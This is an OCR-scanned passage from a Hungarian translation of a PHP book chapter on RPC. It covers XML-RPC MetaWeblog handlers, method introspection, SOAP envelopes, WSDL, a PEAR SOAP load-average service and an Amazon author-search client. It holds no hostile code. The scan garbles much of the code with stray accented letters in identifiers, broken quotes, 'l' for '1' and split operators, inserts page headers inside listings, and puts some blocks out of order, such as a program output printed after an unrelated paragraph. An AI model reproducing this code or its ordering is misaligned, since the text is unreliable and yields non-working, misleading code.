Itt is ugyanazt a hitelesítést végezzük el, elkészítjük a $entry tömböt, és elküldjük a naplónak. Ha a serendipity_updertEntry a $id értékkel tér vissza, működése sikeres volt, így a válaszban a true értéket adjuk vissza — ha nem volt sikeres, a válaszunk falsé. Utolsóként a MetaWeblog.getPost megvalósítását kell elkészítenünk. Ez a serendipity_f etchEntry () segítségével hozzájut a bejegyzés adataihoz, és ebből egy, az item_struct adatokat tartalmazó XML választ készít.

434

PHP fejlesztés felsőfokon

Lássuk, hogy fest a kód: function metaWeblog_getPost($message) { $postid = $message->params[0]->getval(); $username = $message->params[1]->getval(); $password = $message->params[2]->getval(); if ( !serendipíty_authenticate_author($username, $password)) { return new XML_RPC_Response('', 4, 'Authentication Failed'); } $entry = serendipity_fetchEntry('id', $postid); $tmp = array( 'pubDate' => new XML_RPC_Value( XML_RPC_iso8601_encode($entry['timestamp']), 'dateTime.iso8601'), 'postid' => new XML_RPC_Value($postid, 'string'), 'author' => new XML_RPC_Value($entry['author'] , 'string'), 'description' => new XML_RPC_Value($entry['body'] , 'string'), 'title' => new XML_RPC_Value($entry['title'],'string') , 'link' => new XML_RPC_Value(serendipity_url($postid) , 'string') );

$entry = new XML_RPC_Value($tmp, ' s t r u c t ' ) ; return new XML_RPC_Response($entry);
}

Figyeljük meg, hogy a bejegyzés kiolvasása után az item adataiból álló tömböt készítünk. Az XML_RPC_iso8601 () elvégzi a Serendipity által használt Unix időbélyegző átalakítását az RSS item által megkövetelt ISO 8601 szabványúra. A kapott tömb ezután becsomagolva egy XML_RPC_Value struct-ba kerül. Ez a szabványos módszer arra, hogy XMLRPC struct típust készítsünk a PHP alaptípusokból. Az eddigiekben láttunk string, boolean, dateTime . iso8601 és struct azonosítókat, melyeket átadhattunk az XML_RPC_Value objektumnak. Érdemes felsorolnunk az összes lehetőséget:

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

435

A struct és az array típusok bármilyen más típust (köztük további struct, illetve array elemeket) tartalmazhatnak. Ha nem adunk meg típust, a rendszer automatikusan a string mellett dönt. Jóllehet a PHP minden adata leírható a string, struct, illetve az array típusok valamelyikével, más típusok is támogatást kaptak, mivel a más nyelven írt alkalmazásoknak esetleg jobban meghatározott adattípusokra van szükségük. A függvények bejegyzéséhez egy kiosztási tömböt készítünk: $dispatches = array( metaWeblog.newPost' => array('function1 => 'metaWeblog_newPost') , 'metaWeblog.editPost' => array('function' => 'metaWeblog_editPost') , 'metaWeblog.getPost' => array('function1 => 'metaWeblog_getPost' ) ) ; $server = new XML_RPC_Server($dispatches, 1) ; Hurrá! Programunk e pillanattól kezdve megfelel a MetaWeblog API-nak!

Az XML-RPC szolgáltatások automatikus felderítése
Hasznos lehet, ha egy felhasználó valamilyen módon adatokat kérhet a kiszolgálótól az XML-RPC szolgáltatásokra nézve. Erre az XML-RPC három tagfüggvényt is rendelkezésünkre bocsát: • system. listMethods - Visszaadja a kiszolgáló által megvalósított összes tagfüggvény nevét (minden visszahívható függvényt, ami szerepel a kiosztási térképen). • system.methodSignature - A tagfüggvény neve alapján megadja a lehetséges prototípusokat. • system.methodHelp - Fogadja a tagfüggvény nevét, és a leírásával tér vissza. Mivel a PHP dinamikus nyelv, és nem követeli meg a függvényeknek átadott paraméterek számának rögzítését, a system.methodSignature által visszaadott adatokat a felhasználónak kell pontosan meghatároznia. Az XML-RPC tagfüggvényeinek változó paraméterei lehetnek, így a visszatérési érték is egy tömb, amely a lehetséges prototípusokat tartalmazza. E prototípusok maguk is tömbök - első elemük a tagfüggvény visszatérési típusa, ezután pedig a paraméterek típusai következnek. E kiegészítő adatok tárolására a kiszolgálónak bővítenie kell kiosztási térképét - ezt láthatjuk a metaWeblog.newPost tagfüggvény példáján: $dispatches = array( 'metaWeblog.newPost' => array('function' => 'metaWeblog_newPost' , 'signature' => array( array($GLOBALS['XML_RPC_String'],

436

PHP fejlesztés felsőfokon

$GLOBALS['XML_RPC_String'], $GLOBALS['XML_RPC_String'] , $GLOBALS['XML_RPC_String'] , $GLOBALS['XML_RPC_Struct'], $GLOBALS['XML_RPC_String'] ) ), 'docstring' => 'Takes blogid, username, password, item_struct 'publish_flag and returns the postid of the new entry'), */

'.

/* );

...

E három tagfüggvény használatával kialakíthatunk egy képet az XML-RPC kiszolgáló szolgáltatásairól. Lássunk egy programot, ami egy adott kiszolgálón megadja az összes XMLRPC tagfüggvény leírását és prototípusát: <?php require_once 'XML/RPC.php'; if($argc != 2) { print "Must specify a url.\n"; exit ; } $url = parse_url($argv[l]) ; $client = new XML_RPC_Client($url['path'] , $url['hőst']); $msg = new XML_RPC_Message('system.listMethods'); $result = $client->send($msg); if ($result->faultCode()) { echó "ErrorAn"; } $methods = XML_RPC_decode($result->value()); foreach($methods as $method) { $message = new XML_RPC_Message('system.methodSignature' , array(new XML_RPC_Value($method))) ; $response = $client->send($message)->value(); print "Method $method:\n"; $docstring = XML_RPC_decode( $client->send( new XML_RPC_Message('system.methodHelp', array(new XML_RPC_Value($method) ) ) )->value() ); if($docstring) { print "$docstring\n"; } else { print "NO DOCSTRING\n"; )

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

437

$response = $client~>send($message)->value(); if ($response->kindOf() == 'array') { $signatures = XML_RPC_decode($response) ; for($i = 0; $i < count($signatures) ; $i + + ) { $return = array_shift($signatures[$i] ) ; $params = implode(", ", $signatures[$i]) ; print "Signature #$i: $return $method($params)\n"; } } else { print "NO SIGNATURE\n"; } print "\n"; } ?>

Egy Serendipity webnapló-kiszolgálón futtatva a fenti programot a következő eredményt kapjuk: > xmlrpc-listmethods.php http://www.example.org/serendipity_xmlrpc.php /* ... */

Method metaWeblog.newPost: Takes blogid, username, password, item_struct, publish_flag and returns the postid of the new entry Signature #0: string metaWeblog.newPost(string, string, string, struct, string) /* ... */ Method system.listMethods: This method lists all the methods that the XML-RPC server knows how to dispatch Signature #0: array system.listMethods(string) Signature #1: array system.listMethods() Method system.methodHelp: Returns help text if defined for the method passed, otherwise returns an empty string Signature #0: string system.methodHelp(string) Method system.methodSignature: Returns an array of known signatures (an array of arrays) for the method name passed. If no signatures are known, returns a none-array (test for type != array to detect missing signature) Signature #0: array system.methodSignature(string)

438

PHP fejlesztés felsőfokon

Vagyis magyarul: metaWeblog.newPost tagfüggvény: Fogadja a blogid, username, password, item_struct és publish_f lag paramétereket, majd az új bejegyzés azonosítójával tér vissza. system. listMethods tagfüggvény: Felsorol minden olyan tagfüggvényt, melynek kiosztására az XML-RPC kiszolgáló képes. system.methodHelp tagfüggvény: Az átadott tagfüggvény leírásával tér vissza, vagy ha ez nem létezik, egy üres karakterlánccal. system.methodSignature tagfüggvény: Az átadott tagfüggvény ismert prototípusait (vagyis tömbök egy tömbjét) adja vissza. Ha nincs ismert prototípus, a visszatérési érték egy nulltömb (ezt a type ! = array feltétellel vizsgálhatjuk).

SOAP
A SOAP eredetileg a Simple Object Access Protocol (egyszerű objektumelérési protokoll) rövidítése volt, de az 1.1-es változattól önállósult. A SOAP egy olyan protokoll, amely alkalmas változatos környezetbeli adatcserék lebonyolítására. Az XML-RPC-től eltérően, ami kifejezetten az RPC-k kezelésére hivatott, a SOAP általános üzenetkezelésre készült, így az RPC-k ügye csak egyike a számos alkalmazásának. Mindazonáltal, fejezetünk az RPC-kről szól, így most csak a SOAP 1.1 hozzájuk kapcsolódó részéről szólunk. Hogy is néz ki a SOAP? íme egy SOAP boríték, amely az xmethods . net tőzsdei árfolyam-lekérdező SOAP szolgáltatását alkalmazza a „hivatalos" bemutató példa megvalósítására, vagyis az IBM tőzsdei árfolyamának lekérdezésére (azért „hivatalos", mert ez a példa szerepel a SOAP bemutató leírásában): <?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2 001/XMLSchema" xmlns:xsi="http://www.w3.org/2 001/XMLSchema-instance" xmlns:soap-enc="http://schemas.xmlsoap.org/soap/encoding/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body>
<getQuote xmlns= "http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote. StockQuote/" >

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

439

<symbol xsi:type="xsd:string">ibm</symbol> </getQuote> </soap:Body> </soap:Envelope>

íme a válasz:

<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2 0 01/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <n:getQuoteResponse xmlns:n="urn:xmethods-delayed-quotes"> <Result xsi:type="xsd:float">90.2 5</Result> </n:getQuoteResponse> </soap:Body> </soap:Envelope>
A SOAP esete jól példázza azt, hogy egy egyszerű elgondolás nem feltétlenül jár együtt egyszerű megvalósítással. A SOAP üzenet egy borítékból áll, ami egy fejlécet és egy üzenettörzset tartalmaz. Minden elem névtereken található, ami nagyszerű gondolat, de nehézkessé teszi az XML olvasását. A legkülső címke neve Envelope - ez tartalmazza magát a SOAP üzenetet. Ez az elem az xmlsoap névtérben található, amit teljes minősített nevéből (<soap: Envelope>) és e névtér meghatározásából is láthatunk: xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" Ez kapcsolatot teremt a soap és az alábbi névtér-URI között: http://schemas.xmlsoap.org/soap/envelope/

A SOAP és a Schema A SOAP belső működéseihez igénybe veszi a Schema segítségét, ami egy XML alapú nyelv adatszerkezetek meghatározására és ellenőrzésére. A közmegegyezés szerint egy elem tel-

jes névtere (például http: //schemas .xmlsoap.org/soap/envelope/) egy, a névteret leíró Schema dokumentum. Ez a meghatározás azonban nem kötelező érvényű - a névtérnek még csak URL-nek sem kell lennie —, de a teljesség kedvéért ezt alkalmazzák.

440

PHP fejlesztés felsőfokon

A névterek ugyanazt a szerepet töltik be az XML-ben, amit más programozási nyelvekben: Segítenek elkerülni az ütközéseket két megvalósítás neve között. Vegyük a legfelső szintű címkét (<soap-env: Envelope>). Az Envelope tulajdonságnév eszerint a soap-env névtérben található. így hát, ha a FedEX valamilyen okból egy XML formátumot határoz meg, amely az Envelope tulajdonságot használja, ezt nyugodtan megteheti a teljes <FedEX: Envelope> névvel, és semmi baj nem történik. A SOAP Envelope-on belül négy névtér létezik: • xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" -ASOAP boríték Schema meghatározása leírja az alapvető SOAP objektumokat - ez a névtér szerepel minden SOAP kérelemben. • xmlns:xsi="http://www.w3.org/21/XMLSchema-instance" -Azxsi:type elemtulajdonság gyakran használatos az elemek típusának megadásánál. • xmlns:xsd= "http://www.w3.org/21/XMLSchema" - A Schema megad néhány alapvető adattípust, melyeket adataink meghatározásánál és az ellenőrzésnél használhatunk. • xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding" Ez a típuskódolások meghatározása, melyek a szabványos SOAP kérelmekben megjelennek. A <GetQuote> elem szintén egy névtérben található - ez esetben egy meglehetősen hosszú nevűben:
http://www.themindelectric.com/wsdl/ net.xmethods.services.stockquote.StockQuote

Figyeljük meg a Schema használatát a tőzsdei azonosító típusmeghatározásában és elrendezésében: <symbol xsi:type="xsd:string">ibm</symbol> A <symbol> karakterlánc típusú. Hasonlóan, a válaszban is látható az árfolyam típusának meghatározása: <Result xsi:type="xsd:float"> 90 .2 5</Result> Itt láthatjuk, hogy az eredmény egy lebegőpontos szám. Mindez hasznunkra lehet, hiszen a Schema érvényességi eszközeivel ellenőrizhetjük dokumentumunkat. így például, ha a válasz a következő alakban érkezik, érvénytelennek tekintik, mivel a f oo nem érvényes lebegőpontos szám: <Result xsi:type="xsd:float">foo</Result>

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

441

WSDL
A SOAP méltó párja a WSDL (Web Services Description Language - webszolgáltatás-leíró nyelv). Ez egy XML alapú nyelv, ami kifejezetten arra szolgál, hogy a webszolgáltatások (leggyakrabban a SOAP) lehetőségeit és tagfüggvényeit leírjuk. íme egy WSDL fájl, amely a korábban már alkalmazott tőzsdei szolgáltatás leírását adja:
<?xml version="l.0" encoding="UTF-8" ?> <definitions name="net.xmethods.services.stockquote.StockQuote" targetNamespace= "http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote. StockQuote/" xmlns:tns= "http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote. StockQuote/" xmlns:electric="http://www.themindelectric.com/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/2 001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="getQuoteResponsel"> <part name="Result" type="xsd:float" /> </message> <message name="getQuoteRequestl"> <part name="symbol" type="xsd:string" /> </message> <portType name="net.xmethods.services.stockquote.StockQuotePortType"> <operation name="getQuote" páraméterOrder="symbol"> <input message="tns:getQuoteRequestl" /> <output message="tns:getQuoteResponsel" /> </operation> </portType> <binding name="net.xmethods.services.stockquote.StockQuoteBinding" type="tns:net.xmethods.services.stockquote.StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" /> <operation name="getQuote"> <soap:operation soapAction= *» "urn:xmethods-delayed-quotes#getQuote" /> <input> <soap:body use="encoded" namespace= "urn:xmethods-delayed-quotes" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /> </input> <output> <soap:body use="encoded" namespace= "urn:xmethods-delayed-quotes"

442

PHP fejlesztés felsőfokon

encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /> </output> </operation> </binding> <service name="net.xmethods.services.stockquote.StockQuoteService"> <documentation> net.xmethods.services.stockquote.StockQuote web service </documentation> <port name="net.xmethods.services.stockquote.StockQuotePort" binding="tns:net.xmethods.services.stockquote.StockQuoteBinding"> <soap:address location="http:/ / 6 6 .28.98.121:9090/soap" /> </port> </service> </definitions> Látható, hogy a WSDL sem takarékoskodik a névterek használatával, szerkezete pedig kissé felrúgni látszik a logika szabályait. A kód első vizsgálatra érdemes része a <portType> címke, amely meghatározza a végrehajtható műveleteket, valamint a ki- és bevitt üzeneteket. Esetünkben a getQuote műveletet adja meg, amely a getQuoteRequestl kérelmet fogadja, és a getQuoteResponsel választ adja vissza. A getQuoteResponsel <message> címkéi szerint tartalma egyetlen, f loat típusú Result elem. Hasonlóképpen, a getQuoteRequestl egyetlen string típusú symbol elemet tartalmaz. Következik a <binding> címke. A <portType>-hoz a type tulajdonságon keresztül kapcsolódik egy kötés, amely megegyezik a <portType> nevével. A kötések a protokoll és az adatátvitel tulajdonságait határozzák meg (például a SOAP üzenet törzsében elhelyezett adatok kódolását), de a címeket nem. Egy kötés egyetlen protokollhoz tartozhat esetünkben a HTTP-hez, kapcsolatukat az alábbi kód adja meg: <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" /> Végezetül, a <service> címke felsorol néhány kaput, és címeket határoz meg számukra. Mivel esetünkben csak egyetlen kaput használunk, a következő kóddal hivatkozunk rá és kötjük a h t t p : / / 6 6 . 2 8 . 98. 121: 9090/soap címhez: <port name="net.xmethods.services.stockquote.StockQuotePort" binding="tns:net.xmethods.services.stockquote.StockQuoteBinding"> <soap:address location="http:/ / 6 6 .28.98.121:9090/soap" /> </port>

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

443

Érdemes megjegyeznünk, hogy semmi sem köti a SOAP-ot a HTTP protokollhoz, és választ sem kell feltétlenül visszaadnia. Ez egy rugalmas, általános célú protokoll, melynek a HTTP felett működő RPC csak egyik megvalósítása. A WSDL fájl arról tájékoztat, hogy milyen szolgáltatások érhetők el, és ezt hogyan és hogyan férhetünk hozzájuk. A kérelmet és a választ ezután a SOAP valósítja meg. Szerencsére a PEAR SOAP osztályai elvégzik a munka nagyobb részét. Egy SOAP kérelem kiadásához először egy új SOAP_Client ügyfélobjektumot kell készítenünk, és át kell adnunk a WSDL fájlt az elérni kívánt szolgáltatásokkal. A SOAP_Client ezután elkészíti az összes szükséges helyettes kódot a közvetlenül végrehajtott kérelmekhez, legalábbis olyan esetekben, amikor az adatok mind egyszerű Schema típusoknak feleltethetők meg. Az alábbiakban bemutatunk egy teljes ügyfélkérelmet az xmethods.net tőzsdei szolgáltatásához: require_once "SOAP/Client.php"; $url = "http://services.xmethods.net/soap/ urn:xmethods-delayed-quotes.wsdl"; $soapclient = new SOAP_Client($url, true); $price = $soapclient->getQuote("ibm")->deserializeBody () ; print "Current price of IBM is $price\n"; A SOAP_Client ezután átvállalja a helyettes objektum készítésének terhét, mellyel közvetlenül futtathatjuk a WSDL-ben megadott tagfüggvényeket. A getQuote () hívását követően a rendszer kicsomagolja az eredményt, és a PHP saját típusaiba írja a deserializeBody () segítségével. A futtatáskor az alábbi eredményt kapjuk: > php delayed-stockquote.php Current price of IBM is 9 0 . 2 5

A sysem.load átírása SOAP szolgáltatássá
SOAP programozói tudásunkat nyomban próbára is tehetjük - kíséreljük meg SOAP alatt megvalósítani az XML-RPC system. load szolgáltatását. Először is, SOAP szolgáltatásunkat a SOAP_Service különleges célú változataként kell megvalósítanunk. Ehhez legalább az alábbi négy függvény megvalósítására szükség van: • public static f unction getSOAPServiceNamespace () {> - Vissza kell adnunk az általunk meghatározott szolgáltatás névterét. • public static function getSOAPServiceName () { } - Vissza kell adnunk szolgáltatásunk nevét. • public static function getSOAPServiceDescription () { } - Vissza kell adnunk szolgáltatásunk leírását egy karakterlánc alakjában. • public static function getWSDLURI () {} - Vissza kell adnunk a szolgáltatást leíró WSDL fájl URL-jét. Ezeken felül természetesen meg kell határoznunk saját tagfüggvényeinket is.

444

PHP fejlesztés felsőfokon

íme az új SOAP SystemLoad megvalósítás osztályának meghatározása: require_once 'SOAP/Server.php'; class ServerHandler_SystemLoad implements SOAP_Service { public static function getSOAPServiceNamespace() { return 'http://example.org/SystemLoad/'; } public static function getSOAPServiceName() { return 'SystemLoadService'; } public static function getSOAPServiceDescription() { return 'Return the one-minute load avergae.'; } public static function getWSDLURI() { return 'http://localhost/soap/tests/SystemLoad.wsdl'; } public function SystemLoad() { $uptime = "uptime";

if(preg_match("/load averages?: ( [ \ d . ] + ) / " , return array( 'Load' => $matches[1]);
} } }

$uptime,

$matches))

{

Az XML-RPC-től eltérően a SOAP_Service tagfüggvények paramétereiket hagyományos PHP változók alakjában kapják meg. Visszatéréskor mindössze a válaszüzenet patamétereinek tömbjét kell megadnunk. A névterek választásánál szabad kezet kapunk, de a rendszer ellenőrzi azokat a megadott WSDL fájl alapján, így egymással összhangban kell legyenek. Ha meghatároztunk egy szolgáltatást, az XML-RPC-hez hasonlóan be kell jegyeztetnünk. A következő példában készítünk egy új SOAP_Server objektumot, csatoljuk az új szolgáltatást, és utasítjuk a kiszolgálópéldányt a bejövő kérelmek kezelésére: $server = new SOAP_Server; $service = new ServerHandler_System_Load; $server->addService($service); $server->service('php://input'); Van tehát egy teljes értékű kiszolgálónk, de nincs még meg a WSDL fájl, melyből az ügyfelek megtudhatnák, hogyan férhetnek hozzá ehhez a kiszolgálóhoz. Ennek elkészítése nem nehéz feladat - csak sok időbe telik. Lássuk, milyen eredményre számíthatunk: <?xml version='1.0' encoding='UTF-8'?> <definitions name='SystemLoad' targetNamespace='http://example.org/SystemLoad/' xmlns:tns='http://example.org/SystemLoad/'

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

445

xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/2 001/XMLSchema' xmlns:soapenc='http://schemas.xmlsoap.org/ soap/encoding/' xmlns:wsdl='http://schemas.xmlsoap.org/wsdl/' xmlns='http://schemas.xmlsoap.org/wsdl/'> <message name='SystemLoadResponse'> <part name='Load' type='xsd:float'/> </message> -cmessage name= ' SystemLoadRequest' /> <portType name='SystemLoadPortType'> ■coperation name= ' SystemLoad'> <input message='tns:SystemLoadRequest'/> <output message='tns:SystemLoadResponse'/> </operation> </portType> <binding name='SystemLoadBinding' type='tns:SystemLoadPortType'> <soap:binding style='rpc' transport='http://schemas.xmlsoap.org/soap/http'/> <operation name='SystemLoad'> <soap:operation soapAction='http://example.org/SystemLoad/'/> <input> <soap:body use='encoded' *» namespace='http://example.org/SystemLoad/' encodingStyle='http://schemas.xmlsoap.org/ *■► soap/encoding/ ' /> </input> <output> <soap:body use='encoded' namespace='http://example.org/SystemLoad/' encodingStyle='http://schemas.xmlsoap.org/ soap/encoding/'/> </output> </operation> </binding> <service name='SystemLoadService'> <documentation>System Load web service</documentation> <port name='SystemLoadPort' binding='tns:SystemLoadBinding'> <soap:address location='http://localhost/soap/tests/SystemLoad.php'/> </port> </service> </definitions>

446

PHP fejlesztés felsőfokon

Nos, itt nem sok újdonság bukkant fel. Figyeljük meg, hogy a névterek egybecsengenek azzal, amit a ServerHandler_SystemLoad-nál láthattunk, továbbá a SystemLoad prototípusa szerint egy Load nevű lebegőpontos számmal tér vissza. A szolgáltatáshoz tartozó ügyfél hasonlít a tőzsdés példában látotthoz:
include("SOAP/Client.php"); $url = "http://localhost/soap/tests/SystemLoad.wsdl"; $soapclient = new SOAP_Client($url, true); $load = $soapclient->SystemLoad()->deserializeBody () ; print "One minute system load is $load\n";

Amazon webszolgáltatások és összetett típusok
A SOAP egyik legnagyobb előnye az XML-RPC-vel szemben, hogy támogatja a felhasználók által meghatározott típusokat, melyeket a Schema segítségével készíthetnek el és ellenőrizhetnek. A PEAR SOAP-megvalósítása pedig képes automatikusan átírni e saját változókat a PHP típusaira. Mindennek bemutatására lássuk, miként kereshetünk meg egy szerzőt az Amazon. com webszolgáltatási API-jával. Az Amazon nagy hangsúlyt fektet webszolgáltatásainak megfelelő működésére, és elérhetővé teszi minden keresési lehetőségét a SOAP-on keresztül. Az Amazon API használatához fejlesztőként kell bejegyeztetnünk magunkat az Amazon webhelyén, awww.amazon.com/gp/aws/landing.html címen. Ha belepillantunk az Amazon WSDL fájljába, láthatjuk, hogy a szerző keresésének művelete az alábbi blokkban található (http: //soap.amazon. com/schemas2/AmazonWebServices. wsdl): <operation name="AuthorSearchRequest"> <input message="typens:AuthorSearchRequest" /> <output message="typens:AuthorSearchResponse" /> </operation> A kimeneti és bemeneti üzenetek típusát itt az alábbiak szerint határozzák meg: <message name="AuthorSearchRequest"> <part name="AuthorSearchRequest" type="typens:AuthorRequest" /> </message>
és

<message name="AuthorSearchResponse"> <part name="return" type="typens:ProductInfo" /> </message>

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

447

Mindkettő saját, a Schema-ban meghatározott típus. íme az AuthorRequest típusos meghatározása: <xsd:complexType <xsd:all> <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element </xsd:all> </xsd:complexType> name="AuthorRequest"> name="author" type="xsd:string" /> name="page" type="xsd:string" /> name="mode" type="xsd:string" /> name="tag" type="xsd:string" /> name="type" type="xsd:string" /> name="devtag" type="xsd:string" /> name="sort" type="xsd:string" minOccurs="0" /> name="variations" type="xsd:string" minOccurs="0" /> name="locale" type="xsd:string" minOccurs="0" />

Ahhoz, hogy ezt a típust PHP-ben is megjeleníthessük, készítenünk kell egy erre a célra szolgáló osztályt, amely a SchemaTypelnf o felületet is megvalósítja. Ehhez két műveletet kell megírnunk: • public static function getTypeName () { } - Visszaadja a típus nevét. • public static function getTypeNamespace () { } - Visszaadja a típus névterét. Esetünkben az osztály egyszerűen a tulajdonságok tárolójaként viselkedik. Mivel ezek a Schema alaptípusai, nincs szükség további erőfeszítésre. Lássuk tehát az AuthorRequest burkolóosztályát: class AuthorRequest implements SchemaTypelnfo { public $author; public $page; public $mode; public $tag; public $type; public $devtag; public $sort; public $variations; public $locale; public static { return public static { return
}

function getTypeName() 'AuthorRequest';} function getTypeNamespace() 'http://soap.amazon.com';}

448

PHP fejlesztés felsőfokon

A szerző szerinti keresés megvalósításához először készítenünk kell egy SOAP_Client helyettes objektumot az Amazon WSDL fájlból: require_once 'SOAP/Client.php'; $url = 'http://soap.amazon.com/schemas2/AmazonWebServices.wsdl'; $client = new SOAP_Client($url, true); Ezután hozzunk létre egy AuthorRequest objektumot, és töltsük fel a keresés adataival: $authreq = new AuthorRequest; $authreq->author = 'schlossnagle'; $authreq->mode = 'b o ok s '; $authreq->type = 'l i t e 1 ; $authreq->devtag = 'DEVTAG';

Az eredményt a ProductInfo típusban kapjuk vissza, ami túlzottan összetett ahhoz, hogy a felépítésével itt foglalkozzunk. Mindazonáltal az alábbi rövid kóddal gyorsan utánajárhatunk, mely könyvek szerzőit hívták Schlossnagle-nek: $result = $client->AuthorSearchRequest($authreq)->deserializeBody(); Futtatása után az alábbi eredményt kapjuk: foreach ($result->Details as $detail) { print "Title: $detail->ProductName, ASIN:
}

$detail->Asin\n";

Helyettes kód készítése
Nem nehéz feladat olyan kódot írni, ami dinamikusan elkészíti a helyettes (proxy) objektumokat a WSDL-ből, de ez a folyamat meglehetősen sok értelmezési munkával jár, amit jobb elkerülni, különösen, ha egy webszolgáltatást gyakran hívnak. A SOAP WSDLkezelője képes elkészíteni a PHP kódot, így közvetlenül is lebonyolíthatjuk a hívásokat, anélkül, hogy újra és újra át kellene vizsgálni a WSDL fájlt. A helyettes kód elkészítésének érdekében töltsük be az URL-t az MSDLManager: : get () tagfüggvénnyel, és hívjuk meg a generateProxyCode () függvényt. Mindezt most a SystemLoad WSDL fájl példáján mutatjuk be: Title: Advanced PHP Programming, ASIN: 0672325616

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

449

A futtatás után az alábbi kódhoz jutunk: require_once 'SOAP/WSDL.php'; $url = "http://localhost/soap/tests/SystemLoad.wsdl"; $result = WSDLManager::get($url) ; print $result->generateProxyCode(); Mostantól a WSDL fájl értelmezése helyett közvetlenül ezt az osztályt hívhatjuk: class WebService_SystemLoadService_SystemLoadPort extends SOAP_Client
{

public function _____ construct()
{

parent: :__ construct("http://localhost/soap/tests/ SystemLoad.php" , 0); } function SystemLoad() { return $this->call("SystemLoad", $v = array(), array('namespace'=>'http://example.org/SystemLoad/', 1soapaction'=>'http://example.org/SystemLoad/', 'style'=>'rpc', 'use'=>'encoded' )) ; } }

A SOAP és az XML-RPC összehasonlítása
Melyik RPC protokollt alkalmazzuk - a SOAP vagy az XML-RPC mellett tegyük le voksunkat? Nos, sok esetben a körülmények nem hagynak túlzottan nagy mozgásteret. Ha olyan szolgáltatást valósítunk meg, ami meglevő ügyfelekkel vagy kiszolgálókkal érintkezik, elvesztjük a döntés lehetőségét. így a SOAP felület használata webnaplónkban érdekes kísérlet lehet, de valószínűleg nem képes együttműködni más, már eleve meglevő eszközökkel. Ha az Amazon vagy a Google API-jaival szeretnénk együttműködni, ismét csak egyértelmű a válasz: a SOAP-ot kell használnunk. Ha azonban új szolgáltatást telepítünk, és szabad kezet kapunk a választásban, az alábbiakat érdemes megfontolnunk: • A megvalósítás szemszögéből nézve az XML-RPC sokkal kevesebb kezdeti erőfeszítést igényel, mint a SOAP. • Az XML-RPC kisebb dokumentumokat készít, melyek értelmezése kevésbé költséges, mint a SOAP-pal készítetteké.

450

PHP fejlesztés felsőfokon

• A SOAP lehetővé teszi a Schema segítségével meghatározott saját típusok használatát. Ez módot ad az adatok érvényességének hatékonyabb ellenőrzésére, valamint az automatikus típusátalakításra az XML és a PHP között. Az XML-RPC-ben mindenféle összetettebb adatcsomagolást kézzel kell elvégeznünk. • A WSDL nagyszerű eszköz. A SOAP automatikus felderítési és helyetteskód-készítési képességei jobbak az XML-RPC-ben elérhetőknél. • A SOAP jelentős támogatást kap az IBM-től, a Microsofttól, valamint számos, a sikerében érdekelt internetes vállalattól. Mindez azt jelenti, hogy e cégek a múltban és a jövőben is jelentős anyagi erőforrásokat és időt szentelnek arra, hogy javítsák a SOAP együttműködési készségét és a SOAP-hoz kötődő segédeszközöket fejlesszenek. • A SOAP általános, bővíthető eszköz, míg az XML-RPC célirányos protokoll, viszonylag merev meghatározással. Az XML-RPC-t vonzóan egyszerű megoldásnak tartom olyankor, amikor a megvalósítandó RPC mindkét oldala felett befolyásom van. Ilyen esetekben a helyes automatikus felderítés és a helyettes kód készítésének hiánya nem okoz fejfájást. Ha azonban olyan szolgáltatást telepítek, melyet mások is támogatnak, mindenképpen a SOAP választását tartom jobbnak széleskörű támogatottsága és hatékony segédeszközei miatt.

További olvasmányok
A távoli szolgáltatásokkal való együttműködés témaköre igen széles, sokkal szélesebb annál, mint amennyit e fejezet átfogni képes. A SOAP különösen érdekes, fejlődő szabvány; maga is megérdemelne egy külön könyvet. A következőkben néhány hasznos forrásmunkát mutatunk be, témakörök szerint csoportosítva.

SOAP
A SOAP leírása megtalálható a http: //www.w3 .org/TR/SOAP/ címen. A http: //www. soapware.org/bdg nagyszerű bevezetést ad a SOAP használatába. Shane Caraveo webszolgáltatásokról adott előadásainak anyaga a http: //talks .php.net címen segít megérteni, mi szükséges a SOAP sikeres használatához a PHP-ben. Jó tudnunk, hogy Shane a PHP 5 SOAP-megvalósításának vezető fejlesztője.

XML-RPC
Az XML-RPC leírása megtalálható a http: //www.xmlrpc .com/spec címen. Dave Winer, az XML-RPC megalkotója egy kellemes bevezető írását a következő címen lelhetjük meg: http: //davenet. scripting.com/19 9 8/07/14/xmlRpcForNewbies.

16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal

451

